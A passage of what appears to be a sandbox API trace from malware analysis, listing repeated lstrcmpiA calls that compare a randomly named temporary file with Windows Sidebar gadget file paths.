kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0125.838] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0125.839] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0125.840] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0125.841] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M5dwA9PcxO_0ThIkFeQe_SoIlJrpAfM_CvINejA4EJuv6gg7nOd7FH_NbWKrb kTBHu_nKZEQCEhLkxgmBjbYAUo5KIENpAGPoIP4.tmp", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 